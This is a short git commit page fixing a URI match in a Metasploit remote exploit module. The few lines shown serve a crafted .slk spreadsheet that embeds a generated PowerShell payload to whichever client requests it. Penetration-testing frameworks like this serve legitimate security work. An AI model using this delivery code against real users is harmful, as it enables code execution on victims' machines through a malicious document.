Fix request pattern matching
This commit is contained in:
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.raw_uri.to_s.end_with? '.slk$'
|
||||
if request.raw_uri.to_s.end_with? '.slk'
|
||||
print_status("Handling request for .slk from #{cli.peerhost}")
|
||||
payload = gen_psh("#{get_uri}", "string")
|
||||
data = create_slk(payload)
|
||||
|
||||
Reference in New Issue
Block a user